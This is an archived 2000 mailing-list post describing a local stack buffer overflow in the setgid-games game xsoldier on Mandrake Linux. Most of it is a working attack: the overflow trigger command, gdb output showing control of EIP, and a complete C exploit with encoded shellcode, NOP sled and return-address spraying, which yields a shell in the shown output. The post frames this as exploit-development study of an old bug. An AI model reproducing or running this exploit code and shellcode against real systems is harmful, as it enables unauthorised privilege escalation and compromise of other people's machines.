Vulnerability Development mailing list archives

xsoldier mandrake exploit. egid=games with the right shellcode


From: Larry () SPINRECORDS COM (Larry C$)
Date: Mon, 15 May 2000 12:28:13 -0700


This isnt a new exploit, just more of an account.

I had been looking at some setuid files on my mandrake installation and noticed
that xsolider was setgid games.  I remembered a local exploit being written for
it at some point for freebsd.  As an excersize I checked to see if I could find
the segfault in xsolider myself.   I guessed it was the display variable.  My
first attempt was a success.

$ /usr/games/xsoldier -d `perl -e 'print "A" x 4500'`

-snip-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA] can't open display.
Segmentation fault

at 4397 I first get a segmentation fault

I realized that this is not a new vulberability, but it might be fun to write
and exploit for linux as one existed in freebsd.  I attempted to get a core
dump by suing to root and attempting the above again (thinking core dumps were
supressed for normal users) with no luck.

So I downloaded the source code to xsolider compiled and tried again.

#  /tmp/xsoldier -d `perl -e 'print "A" x 4397'`
-snip-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

Ok. Lets see if we are getting 0x41 in EIP

#gdb /tmp/xsoldier core
GNU gdb 19991116
 -snip-
Core was generated by `/tmp/xsoldier -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
-snip-
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /lib/libnss_files.so.2...done.
#0  0x41 in ?? ()

Yep, just barely so increase the buffersize to 4400.
and with the new corefile I get.

# gdb /tmp/xsoldier core
Core was generated by `/tmp/xsoldier -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
-snip-
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /lib/libnss_files.so.2...done.
#0  0x41414141 in ?? ()
(gdb) info regi eip
eip            0x41414141       0x41414141
(gdb)

Ok, so lets try putting some shellcode in there.

/*lwcashdollar wmcdplay exploit modified for xsolider.
 * lwc () vapid dhs org http://vapid.dhs.org
 * trying to get euid=games.*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction
. */
#define LEN 4480                        /*our buffersize. */

char shellcode[] =              /*hellkit v1.1 */
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c
\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
 "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2
\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c
\xed\x5c"
  "\xc2\x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i, offset;
  long retaddr = get_sp ();

  if (argc <= 1)
    offset = 0;
  else
    offset = atoi (argv[1]);

/*#Copy the NOPs  in to the buffer leaving space for shellcode and
  #pointers*/

  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;

/*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
/*                      ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/

  memcpy (buffer + i, shellcode, strlen (shellcode));

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
/*                      ^-(buffer+i)                 */
/*#Fill the buffer with our new address to jump to esp + offset */

  for (i = i + strlen (shellcode); i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr+offset;

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
/*                                      ^-(i+strlen(shellcode))*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);  execl
("/usr/games/xsoldier", "xsoldier", "-display", buffer, 0);

}

[larry@Nemia overflow]$ ./wmx 400
Jumping to address bfffe9dc BufSize 4480
Segmentation fault
[larry@Nemia overflow]$ ./wmx 1400
Jumping to address bfffedc4 BufSize 4480
sh-2.03$ id
uid=501(larry) gid=503(larry)
groups=503(larry),22(cdrom),81(audio),105(urpmi),502(xgrp)

OK, so the next step would be to put a setregid(); call in the shellcode to get
egid=12.

This is where I lack in experience.  Its egid games so not that interesting
and an old exploit.  I guess if someone is bored and wants to generate the
apropriate shellcode.  Have at it.    I dont know of a way to  easly leverage
egid games to root.  I am sure someone else out there might have a plan.

I thought this might be a good topic for shellcode generation on the list, or
perhaps to prompt someone to add a new function to hellkit.


Current thread: